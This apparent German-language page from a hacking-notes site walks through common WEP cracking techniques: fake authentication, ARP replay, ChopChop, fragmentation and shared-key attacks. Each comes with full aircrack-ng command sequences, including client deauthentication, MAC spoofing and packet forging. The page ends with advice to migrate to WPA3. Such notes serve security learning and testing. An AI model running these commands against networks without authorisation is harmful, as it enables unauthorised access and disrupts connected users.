> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/hacking-wifi/wep-networks/common-wep-attacks.md).

# Gängige WEP-Angriffe

Gängige WEP-Angriffsmuster und Migrationshinweise für ältere drahtlose Netzwerke.

WEP ist ein veraltetes drahtloses Protokoll mit grundlegenden kryptografischen Schwächen.

Keine WEP-Konfiguration bietet moderne WLAN-Sicherheit. Ersetzen Sie WEP nach Möglichkeit durch WPA3.

### Häufige Angriffsmuster

WEP-Angriffe sammeln oder erzeugen in der Regel Initialisierungsvektoren (IVs).

Die folgenden Abläufe behandeln Fake-Authentifizierung, ARP-Replay, ChopChop-, Fragmentierungs- und SKA-Techniken.

### Erforderliche Informationen

Notieren Sie diese Werte, bevor Sie einen Ablauf auswählen:

* `BSSID`: die MAC-Adresse des Access Points.
* `ESSID`: der Name des drahtlosen Netzwerks.
* `Kanal`: der Kanal des Access Points.

### Fake-Authentifizierung

Die Fake-Authentifizierung stellt vor der Paketinjektion eine Assoziation her.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -a <BSSID> -h <LOCAL_MAC> -e <ESSID> wlan0mon
jordan@parrot:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### ARP-Replay

ARP-Replay erzeugt wiederholten verschlüsselten Datenverkehr und erhöht die Anzahl der IVs.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -3 -x 1000 -n 1000 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aircrack-ng -b <BSSID> <CAPTURE_FILE>
```

### ChopChop

ChopChop extrahiert Keystream-Informationen aus einem aufgezeichneten WEP-Datenrahmen.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -4 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Fragmentierung

Fragmentierung gewinnt Keystream-Daten aus fragmentierten verschlüsselten Paketen.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# macchanger --show wlan0mon
jordan@parrot:~# aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# aireplay-ng -5 -b <BSSID> -h <LOCAL_MAC> wlan0mon
jordan@parrot:~# packetforge-ng -0 -a <BSSID> -h <LOCAL_MAC> -k <SOURCE_IP> -l <DESTINATION_IP> -y <XOR_PACKET_FILE> -w <FORGED_PACKET>
jordan@parrot:~# aireplay-ng -2 -r <FORGED_PACKET> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Shared-Key-Authentifizierung (SKA)

Die Shared-Key-Authentifizierung legt Material offen, das die Wiederherstellung des WEP-Schlüssels unterstützen kann.

```bash
jordan@parrot:~# airmon-ng start wlan0
jordan@parrot:~# airodump-ng -c <AP_CHANNEL> --bssid <BSSID> -w <CAPTURE_NAME> wlan0mon
jordan@parrot:~# aireplay-ng -0 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon down
jordan@parrot:~# macchanger --mac <CLIENT_MAC> wlan0mon
jordan@parrot:~# ifconfig wlan0mon up
jordan@parrot:~# aireplay-ng -3 -b <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aireplay-ng --deauth 1 -a <BSSID> -h <SPOOFED_MAC> wlan0mon
jordan@parrot:~# aircrack-ng <CAPTURE_FILE>
```

### Behebung

Entfernen Sie WEP aus jeder Access-Point-Konfiguration.

Verwenden Sie WPA3-Personal, sofern unterstützt. Verwenden Sie WPA2-AES nur, wenn WPA3 nicht verfügbar ist.


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